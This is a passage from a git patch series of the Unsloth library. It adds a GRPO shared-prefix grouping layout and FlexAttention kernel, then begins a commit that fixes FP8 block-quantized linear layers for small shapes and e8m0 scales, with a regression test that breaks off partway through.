+def tokr_threshold() -> float:
+    return _TOKR_THRESHOLD
+
+
+def tol_ok() -> float:
+    return _TOL_OK
+
+
+# diff >= TOL_KILL = broken mask/isolation -> structure permanently unsafe; between
+# tol_ok and TOL_KILL -> fall back for this shape but keep trying others.
+TOL_KILL = 1.5
+
+
+@dataclass
+class GroupLayout:
+    """Everything the GRPO forward needs to run + extract the shared-prefix path."""
+
+    flat_ids: torch.Tensor  # [1, T]  (T == seg.T)
+    position_ids: torch.Tensor  # [1, T]
+    prefix_seg_info: PrefixSegInfo
+    # per completion target token, aligned 1:1:
+    tgt_rows: torch.Tensor  # [N] original row index
+    tgt_cols: torch.Tensor  # [N] original padded column in that row
+    tgt_pred: torch.Tensor  # [N] flat predicting index (into the T stream)
+    tgt_flat: torch.Tensor  # [N] flat index of the target token itself (into T)
+    total_rows: int
+    L: int  # original padded seq length (input_ids.shape[1])
+    W: int  # logits_to_keep + max_left_pad (scatter width)
+    tok_r: float
+    signature: Tuple
+
+    def extract_logps(
+        self,
+        hidden,
+        lm_head,
+        chunked_fn,
+        chunks,
+        logit_scale_multiply,
+        logit_scale_divide,
+        logit_softcapping,
+        temperature,
+    ) -> torch.Tensor:
+        """hidden: [1, T, Hdim] (pre-lm_head hidden states, UNSLOTH_RETURN_HIDDEN_STATES=1).
+        Returns [total_rows, W] float32, byte-compatible with the packed path result."""
+        # In a sharded model hidden may live on the lm-head device; move the small index
+        # maps to hidden.device before indexing.
+        device = hidden.device
+        pred_h = hidden[0, self.tgt_pred.to(device), :].unsqueeze(0)  # [1, N, Hdim]
+        tgt_ids = self.flat_ids[0, self.tgt_flat].to(device).unsqueeze(0)  # [1, N]
+        sel = chunked_fn(
+            pred_h,
+            lm_head,
+            tgt_ids,
+            chunks,
+            logit_scale_multiply,
+            logit_scale_divide,
+            logit_softcapping,
+            temperature,
+        )[0]  # [N] logprobs
+        dest = self.tgt_rows.to(device) * self.L + self.tgt_cols.to(device)
+        result = (
+            torch.zeros(self.total_rows * self.L, dtype = torch.float32, device = device)
+            .index_put((dest,), sel.to(torch.float32))
+            .view(self.total_rows, self.L)[:, -self.W :]
+        )
+        return result
+
+
+def _build_groups(ids_cpu, real_cols_cpu, cstart_cpu, num_generations, total_rows):
+    """CPU-side grouping. Returns group dicts or None. Mirrors the packed _pk_* partition.
+
+    A row's REAL tokens are the columns where input != pad. Its completion region (what
+    the packed path scatters, then completion_mask masks) is the real columns with
+    original col >= cstart_r, where cstart_r = (L - logits_to_keep) - left_pad_r. The
+    prompt is the real columns < cstart_r. Within a GRPO group all G rows share the same
+    prompt => same left_pad => same cstart => the prompt real columns are BYTE-IDENTICAL
+    across the group (the shared prefix). We require that byte-identity (falls back
+    otherwise). No prompt-tail special-casing: every suffix token is scattered exactly
+    like the packed path; completion_mask masks the leading prompt-tail positions.
+    """
+    G = num_generations
+    if G is None or G < 2 or total_rows % G != 0:
+        return None
+    groups = []
+    for g0 in range(0, total_rows, G):
+        rows = list(range(g0, g0 + G))
+        prompt_cols_per_row = []  # real cols < cstart
+        prompt_toks_per_row = []
+        comp_cols_per_row = []  # real cols >= cstart  (the completion region packed scatters)
+        for r in rows:
+            cs = cstart_cpu[r]
+            rc = real_cols_cpu[r]
+            p_cols = [c for c in rc if c < cs]
+            c_cols = [c for c in rc if c >= cs]
+            prompt_cols_per_row.append(p_cols)
+            prompt_toks_per_row.append([ids_cpu[r][c] for c in p_cols])
+            comp_cols_per_row.append(c_cols)
+        if any(len(p) == 0 for p in prompt_toks_per_row):
+            return None
+        # require BYTE-IDENTICAL prompts across the group (shared-prefix precondition).
+        P = len(prompt_toks_per_row[0])
+        if any(len(prompt_toks_per_row[k]) != P for k in range(1, G)):
+            return None
+        p0 = prompt_toks_per_row[0]
+        if any(prompt_toks_per_row[k] != p0 for k in range(1, G)):
+            return None
+        if P == 0:
+            return None
+        R_list = [len(c) for c in comp_cols_per_row]
+        if sum(R_list) == 0:
+            return None
+        groups.append(
+            dict(
+                rows = rows,
+                P = P,
+                prefix_cols = prompt_cols_per_row[0],  # shared prompt real columns (row0)
+                prefix_row = rows[0],
+                R_list = R_list,
+                suf_cols = comp_cols_per_row,  # per-row completion-region real columns
+            )
+        )
+    return groups
+
+
+def _tok_r(groups) -> float:
+    tok_full = 0
+    tok_sp = 0
+    for gm in groups:
+        P = gm["P"]
+        Rs = gm["R_list"]
+        tok_full += sum(P + r for r in Rs)  # G*P + sumR
+        tok_sp += P + sum(Rs)  # P + sumR
+    return (tok_full / tok_sp) if tok_sp else 1.0
+
+
+def build_group_layout(
+    input_ids,
+    logits_to_keep,
+    pad_id,
+    num_generations,
+    left_pad_tokens_per_prompt,
+    *,
+    apply_tokr_gate = True,
+    max_segment_cap = None,
+):
+    """Build the shared-prefix GroupLayout, or return None to fall back to the packed path.
+
+    input_ids : [B, L]. GRPO's layout is left-padded in the prompt and right-padded in
+        the completion. Real tokens of a row are a contiguous run not necessarily
+        starting at column 0.
+    logits_to_keep : int
+    left_pad_tokens_per_prompt : [B] long tensor (per-row left-pad count in the prompt).
+    """
+    device = input_ids.device
+    total_rows, L = input_ids.shape
+    keep = input_ids != pad_id
+    # completion start column per row (matches create_completion_attention_mask / _pk_cstart).
+    cstart = ((L - logits_to_keep) - left_pad_tokens_per_prompt).to(torch.long)
+    cstart_cpu = cstart.tolist()
+    ids_cpu = input_ids.tolist()
+    # per-row real (non-pad) columns. GRPO rows are one contiguous real run, so derive
+    # [first, first+n) on GPU; the O(B*L) scan is only a non-contiguous fallback.
+    n_real = keep.sum(dim = 1)
+    first = torch.argmax(keep.to(torch.int8), dim = 1)
+    ar = torch.arange(L, device = device)
+    contiguous = bool(
+        (keep == ((ar >= first.unsqueeze(1)) & (ar < (first + n_real).unsqueeze(1)))).all()
+    )
+    if contiguous:
+        real_cols_cpu = [list(range(f, f + n)) for f, n in zip(first.tolist(), n_real.tolist())]
+    else:
+        keep_cpu = keep.tolist()
+        real_cols_cpu = [[c for c in range(L) if keep_cpu[r][c]] for r in range(total_rows)]
+
+    groups = _build_groups(ids_cpu, real_cols_cpu, cstart_cpu, num_generations, total_rows)
+    if groups is None:
+        return None
+
+    # sliding-window guard: a group's PG span is P + max(R); fall back if it exceeds the window.
+    if max_segment_cap is not None:
+        for gm in groups:
+            if gm["P"] + max(gm["R_list"]) > max_segment_cap:
+                return None
+
+    tok_r = _tok_r(groups)
+    if apply_tokr_gate and tok_r < tokr_threshold():
+        return None  # low reuse -> not worth it; use the full-row packed path
+
+    # Build flat stream by gathering original (row, col) coordinates.
+    group_specs = [(gm["P"], gm["R_list"]) for gm in groups]
+    seg, group_meta = build_seg_info_multigroup(group_specs, device)
+
+    flat_src_rows: List[int] = []
+    flat_src_cols: List[int] = []
+    pos_list: List[int] = []
+    tgt_rows: List[int] = []
+    tgt_cols: List[int] = []
+    tgt_pred: List[int] = []
+    tgt_flat: List[int] = []
+
+    for gm, meta in zip(groups, group_meta):
+        rows = gm["rows"]
+        P = gm["P"]
+        r0 = gm["prefix_row"]
+        prefix_cols = gm["prefix_cols"]  # ORIGINAL real prompt columns (len P) of row0
+        plast = meta["prefix_last_index"]  # base + P - 1
+        # gather the shared prefix once, from row0.
+        flat_src_rows.extend([r0] * P)
+        flat_src_cols.extend(prefix_cols)
+        pos_list.extend(range(P))
+        # suffixes: every suffix token is a completion-region target (scattered like the
+        # packed path; completion_mask hides prompt-tail positions).
+        for i, r in enumerate(rows):
+            cols = gm["suf_cols"][i]
+            r_i = len(cols)
+            s, e = meta["suffix_slices"][i]  # flat offsets [s, e)
+            flat_src_rows.extend([r] * r_i)
+            flat_src_cols.extend(cols)
+            pos_list.extend(range(P, P + r_i))
+            for j in range(r_i):
+                # pos 0 is predicted from the prefix's last token; j>=1 from the previous suffix token.
+                pred = plast if j == 0 else (s + j - 1)
+                tgt_rows.append(r)
+                tgt_cols.append(cols[j])  # ORIGINAL padded column in row r
+                tgt_pred.append(pred)
+                tgt_flat.append(s + j)  # flat index of the target token itself
+
+    T = len(flat_src_rows)
+    assert T == seg.T, f"flat stream len {T} != seg.T {seg.T}"
+    fr = torch.tensor(flat_src_rows, device = device, dtype = torch.long)
+    fc = torch.tensor(flat_src_cols, device = device, dtype = torch.long)
+    flat_ids = input_ids[fr, fc].unsqueeze(0)  # [1, T] (grad-safe gather)
+    position_ids = torch.tensor(pos_list, device = device, dtype = torch.long).unsqueeze(0)
+
+    max_left_pad = int(left_pad_tokens_per_prompt.max().item()) if total_rows else 0
+    W = logits_to_keep + max_left_pad
+
+    # self-verify cache key: the mask/index-map/scatter logic is structural, so key on
+    # (num_groups, group_sizes), not exact lengths -- GRPO lengths change every step and
+    # keying on T would re-verify forever ("verify once, then trust", like the packed path).
+    grp_sizes = tuple(sorted(len(gm["R_list"]) for gm in groups))
+    sig = (len(groups), grp_sizes)
+
+    return GroupLayout(
+        flat_ids = flat_ids,
+        position_ids = position_ids,
+        prefix_seg_info = seg,
+        tgt_rows = torch.tensor(tgt_rows, device = device, dtype = torch.long),
+        tgt_cols = torch.tensor(tgt_cols, device = device, dtype = torch.long),
+        tgt_pred = torch.tensor(tgt_pred, device = device, dtype = torch.long),
+        tgt_flat = torch.tensor(tgt_flat, device = device, dtype = torch.long),
+        total_rows = total_rows,
+        L = L,
+        W = W,
+        tok_r = tok_r,
+        signature = sig,
+    )
+
+
+__all__ = [
+    "GroupLayout",
+    "build_group_layout",
+    "prefix_grouper_enabled",
+    "verify_on",
+    "tokr_threshold",
+    "tol_ok",
+    "TOL_KILL",
+    "env_on",
+]
diff --git a/unsloth/utils/prefix_grouper_kernel.py b/unsloth/utils/prefix_grouper_kernel.py
new file mode 100644
index 0000000000..9a9719b015
--- /dev/null
+++ b/unsloth/utils/prefix_grouper_kernel.py
@@ -0,0 +1,436 @@
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+"""FlexAttention shared-prefix kernel for PrefixGrouper (GRPO shared-prompt dedup).
+
+In GRPO every prompt spawns ``G = num_generations`` completions that share the same
+prompt prefix. The full-row packed path forwards the identical prefix ``G`` times.
+PrefixGrouper stores the prefix ONCE and concatenates only the ``G`` suffixes, with an
+attention layout where each suffix token attends to ``[the single shared prefix] +
+[causal within its own suffix]``. This kernel expresses that one-prefix -> many-suffix
+fan-out via a ``torch.nn.attention.flex_attention`` block mask, so the masked-out
+cross-suffix / cross-group blocks are never computed and the ``P + G*R`` FLOP saving is
+realised (not merely a masked dense ``O(T^2)``).
+
+Mask semantics (identical to the certified SDPA oracle):
+
+    keep(q_idx, kv_idx) = same_group(q, kv) AND
+        ( is_prefix[kv_idx]                                  # full prefix visibility
+          OR ( suffix_of_kv[kv_idx] == suffix_of_kv[q_idx]   # same suffix ...
+               AND kv_idx <= q_idx ) )                       # ... causal within it
+
+This module is self-contained (no dependency on any temp/ scratch dir) so PrefixGrouper
+works from the installed source after a fresh compile. It is only imported lazily from
+``attention_dispatch.run_attention`` when ``prefix_seg_info`` is present, which itself is
+only ever set when ``UNSLOTH_GRPO_PREFIX_GROUPER`` is on and grouping succeeded, so the
+default (off) path never touches this file.
+
+Provided entry points:
+  * ``PrefixSegInfo``            : per-flat-token segment metadata + cache signature.
+  * ``build_seg_info_multigroup``: build PrefixSegInfo for many groups packed flat.
+  * ``build_seg_info_from_layout``: build PrefixSegInfo for ONE group (test helper).
+  * ``get_block_mask``          : cached create_block_mask keyed on the signature.
+  * ``flex_shared_prefix_attention(Q, K, V, prefix_seg_info)``
+        Q/K/V of shape [1, T, n_heads, head_dim]; returns [1, T, n_heads, head_dim],
+        IDENTICAL semantics to the SDPA oracle.
+"""
+
+from __future__ import annotations
+
+import os
+from dataclasses import dataclass
+from typing import Dict, List, Optional, Tuple
+
+import torch
+from torch.nn.attention.flex_attention import (
+    BlockMask,
+    create_block_mask,
+    flex_attention,
+)
+
+# GRPO feeds many distinct segment lengths; at dynamo's default recompile_limit (8) the
+# compiled kernel silently reuses a mismatched specialisation (wrong results). Raise it.
+torch._dynamo.config.recompile_limit = max(getattr(torch._dynamo.config, "recompile_limit", 8), 256)
+torch._dynamo.config.accumulated_recompile_limit = max(
+    getattr(torch._dynamo.config, "accumulated_recompile_limit", 256), 2048
+)
+
+
+# Compiled kernels: torch.compile fuses the sparse mask into one kernel. dynamic=True is
+# required: T changes almost every GRPO batch and dynamic=False recompiles per T (~14s
+# each). T is still padded to a multiple of 128 (_pad_len) for the backward kernel.
+_flex_attention_compiled = torch.compile(flex_attention, dynamic = True)
+_create_block_mask_compiled = torch.compile(create_block_mask, dynamic = True)
+
+# Flash block sizes by Q dtype (env-overridable). The two disjoint key runs (prefix +
+# own-suffix) stress online-softmax accumulation: fp32 needs 32/32 for a ~1e-6 floor;
+# bf16 passes parity at 128/64 and is ~5x faster (128/128 OOMs Triton on B200).
+_FP32_BLOCK_M = int(os.environ.get("PG_FLEX_BLOCK_M", "32"))
+_FP32_BLOCK_N = int(os.environ.get("PG_FLEX_BLOCK_N", "32"))
+_BF16_BLOCK_M = int(os.environ.get("PG_FLEX_BF16_BLOCK_M", "128"))
+_BF16_BLOCK_N = int(os.environ.get("PG_FLEX_BF16_BLOCK_N", "64"))
+
+
+def _kernel_options_for_dtype(dtype):
+    """Pick the numerically-safe flash block sizes for the Q dtype."""
+    if dtype == torch.bfloat16 or dtype == torch.float16:
+        return {"BLOCK_M": _BF16_BLOCK_M, "BLOCK_N": _BF16_BLOCK_N}
+    return {"BLOCK_M": _FP32_BLOCK_M, "BLOCK_N": _FP32_BLOCK_N}
+
+
+# Backward-compat constant (fp32 default).
+_FLEX_KERNEL_OPTIONS = {"BLOCK_M": _FP32_BLOCK_M, "BLOCK_N": _FP32_BLOCK_N}
+
+# The compiled backward trips an Inductor assertion when T is not a multiple of 128, so
+# pad the flat sequence. Pad tokens form a group that attends to / is attended by nothing
+# (all-masked rows return 0, not NaN) and are sliced off the output.
+_PAD_MULTIPLE = 128
+_PAD_GROUP = -99  # sentinel group id / suffix id for pad tokens
+
+
+def _pad_len(T: int) -> int:
+    return ((T + _PAD_MULTIPLE - 1) // _PAD_MULTIPLE) * _PAD_MULTIPLE
+
+
+# ---------------------------------------------------------------------------
+# Segment metadata
+# ---------------------------------------------------------------------------
+
+
+@dataclass
+class PrefixSegInfo:
+    """Per-flat-token segment metadata driving the shared-prefix block mask.
+
+    The label tensors are 1-D of length ``T_pad`` (>= real ``T``, padded up to a multiple
+    of 128 so the backward kernel compiles). Positions ``[T:T_pad)`` are pad tokens
+    (group/suffix == _PAD_GROUP) that attend to nothing.
+
+    Attributes
+    ----------
+    group_of_kv : LongTensor [T_pad]
+        Group id per flat token (0..num_groups-1); _PAD_GROUP for pad tokens.
+    is_prefix : BoolTensor [T_pad]
+        True iff the token is a prefix token of its group (False for pad).
+    suffix_of_kv : LongTensor [T_pad]
+        Suffix id per flat token; -1 for prefix, _PAD_GROUP for pad. Suffix ids are
+        globally unique across groups.
+    signature : hashable
+        Cache key for the block mask (depends only on the labels + T_pad).
+    T : int
+        Real flat sequence length (Q/K/V of this length are padded internally).
+    T_pad : int
+        Padded length (multiple of 128) at which the block mask is built.
+    """
+
+    group_of_kv: torch.Tensor
+    is_prefix: torch.Tensor
+    suffix_of_kv: torch.Tensor
+    signature: Tuple
+    T: int
+    T_pad: int
+
+
+def _pad_labels(group_of_kv, is_prefix, suffix_of_kv, device):
+    """Pad the label tensors up to a multiple of 128 with pad-token sentinels."""
+    T = int(group_of_kv.numel())
+    T_pad = _pad_len(T)
+    if T_pad == T:
+        return group_of_kv, is_prefix, suffix_of_kv, T, T_pad
+    pad = T_pad - T
+    group_of_kv = torch.cat(
+        [group_of_kv, torch.full((pad,), _PAD_GROUP, dtype = torch.long, device = device)]
+    )
+    is_prefix = torch.cat([is_prefix, torch.zeros(pad, dtype = torch.bool, device = device)])
+    suffix_of_kv = torch.cat(
+        [suffix_of_kv, torch.full((pad,), _PAD_GROUP, dtype = torch.long, device = device)]
+    )
+    return group_of_kv, is_prefix, suffix_of_kv, T, T_pad
+
+
+def build_seg_info_from_layout(layout, device: Optional[torch.device] = None) -> PrefixSegInfo:
+    """Build PrefixSegInfo for ONE group from an object with ``.flat_ids``, ``.P`` and
+    ``.suffix_slices`` (used by the parity test / oracle helpers)."""
+    if device is None:
+        device = layout.flat_ids.device
+    T = int(layout.flat_ids.shape[1])
+    P = int(layout.P)
+
+    group_of_kv = torch.zeros(T, dtype = torch.long, device = device)  # single group -> 0
+    is_prefix = torch.zeros(T, dtype = torch.bool, device = device)
+    is_prefix[:P] = True
+    suffix_of_kv = torch.full((T,), -1, dtype = torch.long, device = device)
+    for i, (s, e) in enumerate(layout.suffix_slices):
+        suffix_of_kv[s:e] = i
+
+    group_of_kv, is_prefix, suffix_of_kv, T, T_pad = _pad_labels(
+        group_of_kv, is_prefix, suffix_of_kv, device
+    )
+    sig = ("single", T_pad, P, tuple((s, e) for (s, e) in layout.suffix_slices))
+    return PrefixSegInfo(
+        group_of_kv = group_of_kv,
+        is_prefix = is_prefix,
+        suffix_of_kv = suffix_of_kv,
+        signature = sig,
+        T = T,
+        T_pad = T_pad,
+    )
+
+
+def build_seg_info_multigroup(
+    group_specs: List[Tuple[int, List[int]]], device: torch.device
+) -> Tuple[PrefixSegInfo, List[dict]]:
+    """Build PrefixSegInfo for several shared-prefix groups packed block-diagonally.
+
+    Parameters
+    ----------
+    group_specs : list of (P_g, [R_{g,0}, R_{g,1}, ...])
+        For each group: prefix length and the list of suffix lengths.
+
+    Returns
+    -------
+    seg : PrefixSegInfo
+    group_meta : list of dicts with 'base', 'P', 'prefix_last_index', 'suffix_slices'
+        (flat offsets), enough to build the completion index map.
+    """
+    group_of_list = []
+    is_prefix_list = []
+    suffix_of_list = []
+    group_meta = []
+
+    base = 0
+    suffix_counter = 0
+    sig_parts = []
+    for gid, (P, R_list) in enumerate(group_specs):
+        # prefix
+        group_of_list.append(torch.full((P,), gid, dtype = torch.long, device = device))
+        is_prefix_list.append(torch.ones(P, dtype = torch.bool, device = device))
+        suffix_of_list.append(torch.full((P,), -1, dtype = torch.long, device = device))
+        prefix_last_index = base + P - 1
+        suffix_slices = []
+        cursor = base + P
+        for r in R_list:
+            group_of_list.append(torch.full((r,), gid, dtype = torch.long, device = device))
+            is_prefix_list.append(torch.zeros(r, dtype = torch.bool, device = device))
+            suffix_of_list.append(torch.full((r,), suffix_counter, dtype = torch.long, device = device))
+            suffix_slices.append((cursor, cursor + r))
+            cursor += r
+            suffix_counter += 1
+        group_meta.append(
+            {
+                "base": base,
+                "P": P,
+                "prefix_last_index": prefix_last_index,
+                "suffix_slices": suffix_slices,
+            }
+        )
+        sig_parts.append((P, tuple(R_list)))
+        base = cursor
+
+    group_of_kv = torch.cat(group_of_list)
+    is_prefix = torch.cat(is_prefix_list)
+    suffix_of_kv = torch.cat(suffix_of_list)
+    group_of_kv, is_prefix, suffix_of_kv, T, T_pad = _pad_labels(
+        group_of_kv, is_prefix, suffix_of_kv, device
+    )
+    sig = ("multi", T_pad, tuple(sig_parts))
+    seg = PrefixSegInfo(
+        group_of_kv = group_of_kv,
+        is_prefix = is_prefix,
+        suffix_of_kv = suffix_of_kv,
+        signature = sig,
+        T = T,
+        T_pad = T_pad,
+    )
+    return seg, group_meta
+
+
+# ---------------------------------------------------------------------------
+# Block-mask builder + cache, keyed on (signature, device): the mask depends only on the
+# per-token labels and T, so it is reused across layers and steps.
+
+_BLOCK_MASK_CACHE: Dict[Tuple, BlockMask] = {}
+
+
+def _make_mask_mod(group_of_kv, is_prefix, suffix_of_kv):
+    """Return a mask_mod closure over the (device) label tensors.
+
+    keep(q, kv) = same_group AND
+        ( is_prefix[kv]  AND kv <= q                     # causal within/ into prefix
+          OR ( suffix_of_kv[kv] == suffix_of_kv[q]       # same suffix ...
+               AND (not is_prefix[q])                    # q is a suffix token ...
+               AND kv <= q ) )                           # ... causal within it
+
+    The single ``kv <= q`` guard on the is_prefix branch gives BOTH prefix-causal
+    behaviour (a prefix q sees only earlier prefix tokens) AND full-prefix-visibility for
+    suffixes (every prefix index < every suffix index in a group, so kv <= q always holds
+    for a suffix q vs a prefix kv of its group), matching the SDPA oracle exactly.
+    """
+
+    def mask_mod(b, h, q_idx, kv_idx):
+        same_group = group_of_kv[q_idx] == group_of_kv[kv_idx]
+        kv_is_prefix = is_prefix[kv_idx]
+        causal = kv_idx <= q_idx
+        same_suffix = (suffix_of_kv[kv_idx] == suffix_of_kv[q_idx]) & (~is_prefix[q_idx])
+        keep = same_group & ((kv_is_prefix & causal) | (same_suffix & causal))
+        return keep
+
+    return mask_mod
+
+
+def get_block_mask(
+    seg: PrefixSegInfo,
+    device: torch.device,
+    compile_mask: bool = True,
+) -> BlockMask:
+    """Return a cached BlockMask for the segment signature (built once, reused).
+
+    CRITICAL: the block mask is cached and shared across BOTH the no-grad old/ref logprob
+    forward (which runs under torch.inference_mode) and the grad training forward. If the
+    mask were first built under inference_mode, its tensors would be INFERENCE tensors that
+    "cannot be saved for backward" when reused in the grad forward. We therefore build the
+    mask with inference mode explicitly DISABLED, so the same cached BlockMask is a normal
+    tensor usable by autograd. (The mask depends only on integer labels; it needs no grad.)
+    """
+    key = (seg.signature, str(device))
+    bm = _BLOCK_MASK_CACHE.get(key)
+    if bm is not None:
+        return bm
+
+    # Move labels to the consumer (Q) device: with a sharded model the seg tensors live on
+    # input_ids.device and would index cross-device. Copies once per (signature, device).
+    # These copies must also run with inference mode DISABLED (same reason as the mask build):
+    # when this entry is first built under the no-grad old/ref forward's inference_mode and
+    # device != seg.device, a .to(device) copy would be an inference tensor that mask_mod
+    # captures, which then cannot be saved for backward when the grad training forward reuses
+    # the cached mask.
+    builder = _create_block_mask_compiled if compile_mask else create_block_mask
+    with torch.inference_mode(False):
+        mask_mod = _make_mask_mod(
+            seg.group_of_kv.to(device), seg.is_prefix.to(device), seg.suffix_of_kv.to(device)
+        )
+        bm = builder(
+            mask_mod,
+            B = 1,
+            H = None,
+            Q_LEN = seg.T_pad,
+            KV_LEN = seg.T_pad,
+            device = device,
+        )
+    # FIFO bound: GRPO lengths change nearly every step, so evict the oldest to cap GPU pins.
+    if len(_BLOCK_MASK_CACHE) >= 8:
+        _BLOCK_MASK_CACHE.pop(next(iter(_BLOCK_MASK_CACHE)))
+    _BLOCK_MASK_CACHE[key] = bm
+    return bm
+
+
+def clear_block_mask_cache():
+    _BLOCK_MASK_CACHE.clear()
+
+
+def _pad_qkv_seq(x: torch.Tensor, T_pad: int) -> torch.Tensor:
+    """Zero-pad a [B, H, T, D] tensor along the sequence dim up to T_pad."""
+    T = x.shape[2]
+    if T_pad == T:
+        return x
+    pad = torch.zeros(x.shape[0], x.shape[1], T_pad - T, x.shape[3], device = x.device, dtype = x.dtype)
+    return torch.cat([x, pad], dim = 2)
+
+
+def _run_flex(q, k, v, block_mask, enable_gqa, scale, compiled, T, T_pad):
+    """Pad q/k/v to T_pad, run flex, slice the output back to T. q/k/v: [B,H,T,D]."""
+    qp = _pad_qkv_seq(q, T_pad)
+    kp = _pad_qkv_seq(k, T_pad)
+    vp = _pad_qkv_seq(v, T_pad)
+    if compiled:
+        out = _flex_attention_compiled(
+            qp,
+            kp,
+            vp,
+            block_mask = block_mask,
+            enable_gqa = enable_gqa,
+            scale = scale,
+            kernel_options = _kernel_options_for_dtype(qp.dtype),
+        )
+    else:
+        # eager path (fp64 parity): dense scores, no kernel_options.
+        out = flex_attention(
+            qp,
+            kp,
+            vp,
+            block_mask = block_mask,
+            enable_gqa = enable_gqa,
+            scale = scale,
+        )
+    return out[:, :, :T, :]
+
+
+# ---------------------------------------------------------------------------
+# The kernel entry point
+# ---------------------------------------------------------------------------
+
+
+def flex_shared_prefix_attention(
+    Q: torch.Tensor,
+    K: torch.Tensor,
+    V: torch.Tensor,
+    prefix_seg_info: PrefixSegInfo,
+    scale: Optional[float] = None,
+    block_mask: Optional[BlockMask] = None,
+    compiled: bool = True,
+) -> torch.Tensor:
+    """Shared-prefix attention via FlexAttention.
+
+    Parameters
+    ----------
+    Q, K, V : Tensor [1, T, n_heads, head_dim]
+        (Q has n_heads, K/V have n_kv_heads for GQA).
+    prefix_seg_info : PrefixSegInfo
+    scale : optional float, softmax scale (defaults to 1/sqrt(head_dim)).
+    block_mask : optional precomputed BlockMask (else built/cached from seg info).
+
+    Returns
+    -------
+    Tensor [1, T, n_heads, head_dim], identical semantics to the SDPA oracle branch.
+    """
+    assert Q.dim() == 4 and Q.shape[0] == 1, f"expected [1,T,H,D], got {tuple(Q.shape)}"
+    device = Q.device
+    # FlexAttention wants [B, H, T, D].
+    q = Q.transpose(1, 2)  # [1, n_heads, T, D]
+    k = K.transpose(1, 2)  # [1, n_kv_heads, T, D]
+    v = V.transpose(1, 2)
+
+    n_heads = q.shape[1]
+    n_kv = k.shape[1]
+    enable_gqa = n_heads != n_kv
+    T = q.shape[2]
+    T_pad = prefix_seg_info.T_pad
+    assert T == prefix_seg_info.T, f"Q length {T} != seg.T {prefix_seg_info.T}"
+
+    if block_mask is None:
+        block_mask = get_block_mask(prefix_seg_info, device, compile_mask = compiled)
+
+    out = _run_flex(q, k, v, block_mask, enable_gqa, scale, compiled, T, T_pad)
+    # back to [1, T, n_heads, D]
+    return out.transpose(1, 2).contiguous()
+
+
+__all__ = [
+    "PrefixSegInfo",
+    "build_seg_info_multigroup",
+    "build_seg_info_from_layout",
+    "get_block_mask",
+    "clear_block_mask_cache",
+    "flex_shared_prefix_attention",
+]

From 22bd86ecb7b80856c4e639001b2e15394bdbe82b Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 05:44:55 -0700
Subject: [PATCH 198/306] Handle odd shapes and non-float scales in
 FP8BlockQuantLinear (#6848)

* Handle odd shapes and non-float scales in FP8BlockQuantLinear

Small fp8 checkpoints (e.g. tiny test models) break the block-quantized
linear in three ways: weight scales stored in a float8 dtype such as
float8_e8m0fnu have no triton dtype mapping; activations whose hidden dim is
not a multiple of the activation quant block fail act_quant's divisibility
assert; and weights whose dims are not multiples of the weight block cannot
be tiled by the triton dequant kernel.

Cast non-float scales to float32 on entry, and when the hidden dim does not
divide into the activation block, dequantize the weight and run a plain
matmul instead of the fp8 block matmul. The dequant goes through a new
shape-safe helper that falls back to a torch-native scale expansion when the
weight does not tile evenly; backward uses the same helper so the gradient
path works for every shape the forward accepts. Full-size checkpoints are
unaffected.

* Add tiny / e8m0 fp8 block-quant regression test

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix FP8 block-quant fallback: real block size in dequant and scalar-scale fast path

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Route rectangular fp8 blocks through torch dequant and keep block_size across e8m0 upcast

The triton weight_dequant kernel uses one BLOCK_SIZE for both axes, so
rectangular blocks (block_size[0] != block_size[1]) mis-index the column
scale and corrupt grad_X. Route those through the torch scale expansion,
which handles each dimension independently, and keep the triton path for
square blocks only.

Also preserve a block_size attribute carried on the scale tensor across the
e8m0 -> float32 upcast so the later lookup no longer falls back to [128, 128].

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 tests/test_fp8_tiny_e8m0.py | 123 ++++++++++++++++++++++++++++++++++++
 unsloth/kernels/fp8.py      |  48 +++++++++++++-
 2 files changed, 170 insertions(+), 1 deletion(-)
 create mode 100644 tests/test_fp8_tiny_e8m0.py

diff --git a/tests/test_fp8_tiny_e8m0.py b/tests/test_fp8_tiny_e8m0.py
new file mode 100644
index 0000000000..cf49c8c92f
--- /dev/null
+++ b/tests/test_fp8_tiny_e8m0.py
@@ -0,0 +1,123 @@
+"""FP8 block-quant linear must handle tiny / non-tileable weights and e8m0 scales.
+
+Two things break the triton block path:
+  * a hidden dim not divisible by the activation block size (tiny test models),
+  * float8_e8m0fnu weight scales, which have no triton dtype mapping.
+The forward falls back to a torch-native blockwise dequant + bf16 matmul; this
+test checks that fallback runs finite forward + backward and matches a plain
+dequant reference.
+"""
+
+import pytest
+import torch
+
+pytestmark = pytest.mark.skipif(not torch.cuda.is_available(), reason = "needs CUDA")
+
+
+def _reference(X, weight, scale, block):
+    # Expand the per-block scale to full weight shape and dequantize.
+    m, n = weight.shape
+    s = scale.to(torch.float32)
+    s = s.repeat_interleave(block[0], 0)[:m].repeat_interleave(block[1], 1)[:, :n]
+    W = (weight.to(torch.float32) * s).to(X.dtype)
+    return X @ W.T
+
+
+def test_tiny_non_tileable_forward_backward_matches_reference():
+    from unsloth.kernels.fp8 import FP8BlockQuantLinear
+
+    torch.manual_seed(0)
+    dev = "cuda"
+    block = [128, 128]
+    m, n = 8, 8  # non-tileable, in-dim % 128 != 0
+    weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)  # (out=m, in=n)
+    scale = torch.rand(1, 1, device = dev, dtype = torch.float32) + 0.5
+    X = torch.randn(4, n, device = dev, dtype = torch.bfloat16, requires_grad = True)
+
+    out = FP8BlockQuantLinear.apply(X, weight, scale)
+    assert torch.isfinite(out).all(), "forward produced non-finite values"
+
+    ref = _reference(X.detach(), weight, scale, block)
